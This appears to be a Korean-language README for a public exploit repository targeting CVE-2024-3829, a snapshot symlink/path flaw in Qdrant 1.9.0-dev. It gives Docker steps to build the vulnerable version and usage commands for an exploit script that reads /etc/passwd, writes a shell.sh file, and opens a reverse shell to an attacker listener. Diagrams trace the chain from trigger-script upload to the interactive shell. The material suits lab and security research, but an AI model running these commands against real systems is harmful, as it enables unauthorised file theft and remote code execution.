
CVE-2024-3829
########################### THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev ###########################
_______ __ __ _______ _______ _______ _______ _ ___ _______ _____ _______ _______
| || | | || | | || _ || || | | | | | | _ | | || _ |
| || |_| || ___| ____ |____ || | | ||____ || |_| | ____ |___ | | |_| | |____ || | | |
| || || |___ |____| ____| || | | | ____| || ||____| ___| || _ | ____| || |_| |
| _|| || ___| | ______|| |_| || ______||___ | |___ || | | || ______||___ |
| |_ | | | |___ | |_____ | || |_____ | | ___| || |_| || |_____ | |
|_______| |___| |_______| |_______||_______||_______| |___| |_______||_______||_______| |___|
############################################### by fabse-hack.de ###############################################
이 저장소는 qdrant/qdrant (v1.9.0-dev) 에 대한 CVE-2024-3829를 문서화하고 시연합니다.
이 취약점은 심볼릭 링크/경로 트릭을 통해 스냅샷 아카이브를 조작할 수 있습니다. 이를 통해 두 가지 영향 클래스와 리버스 쉘(하하하)이 가능합니다:
환경에 따라 파일 쓰기 프리미티브가 코드 실행으로 이어질 수 있습니다.
1.9.0-dev이 버전은 더 이상 월드 와이드 웹(일부 사람들은 "인터넷"이라고 부름)에서 사용할 수 없습니다.
qdrant 저장소에서 NVD Nist 보고서는 해당 커밋을 가리키며, 그것이 취약한 v1.9.0-dev입니다.
CTF나 기타 목적으로 이 버전을 도커에 설치하려면 다음을 사용하세요:
git clone https://github.com/qdrant/qdrant.git
cd qdrant
git checkout 15479a45ffa3b955485ae516696f7e933a8cce8a^
docker build -t qdrant:1.9.0-dev-vuln .
docker run -p 6333:6333 qdrant:1.9.0-dev-vuln
cve_2024_3829.py - 읽기/쓰기/트리거 워크플로우용 익스플로잇requirements.txt - Python 종속성requests설치:
python3 -m pip install -r requirements.txt
모든 옵션 보기:
python3 cve_2024_3829.py -h
예시:
# 읽기 모드
python3 cve_2024_3829.py -m read -tu http://target_ip -tp <target_port> -tpath /etc/ -tf passwd
# 쓰기 모드
python3 cve_2024_3829.py -m write -tu http://target_ip -tp <target_port> -tpath /tmp/ -apath /tmp/ -af shell.sh
# 리버스 쉘 모드
python3 cve_2024_3829.py -m reverse_shell -tu http://target_ip -tp <target_port> -ai <listener_ip> -ap <listener_port>
-h, --help: CLI 도움말 표시-m, --mode: read, write, reverse_shell 중 하나 (필수)-tu, --target_url: Qdrant 기본 URL (스크립트 내 기본값)-tp, --target_port: 대상 Qdrant 포트 (기본값: 6333)-tpath, --target_path: 원격 대상 경로 (기본값: /etc/)--target_url은 --target_port를 별도로 전달하는 경우 후행 포트 없이 기본 URL이어야 합니다. 스크립트가 <url>:<target_port>/... 형식으로 URL을 생성하기 때문입니다.read 모드에서 스크립트는 --target_path와 --target_file_name을 결합합니다 (예: /etc/ + passwd).write 모드에서 --attacker_path는 존재하는 로컬 파일을 가리켜야 하며 --attacker_file_name은 원격 파일 이름을 정의합니다.sequenceDiagram
participant Attacker
participant Exploit
participant Target
participant Listener
Attacker->>Exploit: Start exploit script
Exploit->>Listener: Start TCP listener
Exploit->>Target: Create malicious collection
Exploit->>Target: Upload trigger script
Exploit->>Target: Overwrite executable
Exploit->>Target: Call /stacktrace endpoint
Target->>Listener: Reverse shell connection
Listener->>Attacker: Interactive shell access
flowchart TD
Start[Start Listener]
Bind[Bind to attacker port]
Listen[Wait for connection]
Accept[Accept incoming connection]
Interactive[Interactive shell session]
End[Connection closed]
Start --> Bind
Bind --> Listen
Listen --> Accept
Accept --> Interactive
Interactive --> End
-tf, --target_file_name: 원격 대상 파일 이름 (기본값: passwd)-ai, --attacker_ip: 리버스 쉘 모드용 콜백/리스너 IP-ap, --attacker_port: 콜백/리스너 포트 (기본값: 9001)-apath, --attacker_path: 쓰기 모드용 로컬 공격자 파일 경로 (기본값: /tmp/)-af, --attacker_file_name: 쓰기 모드에서 대상에 사용되는 파일 이름 (기본값: shell.sh)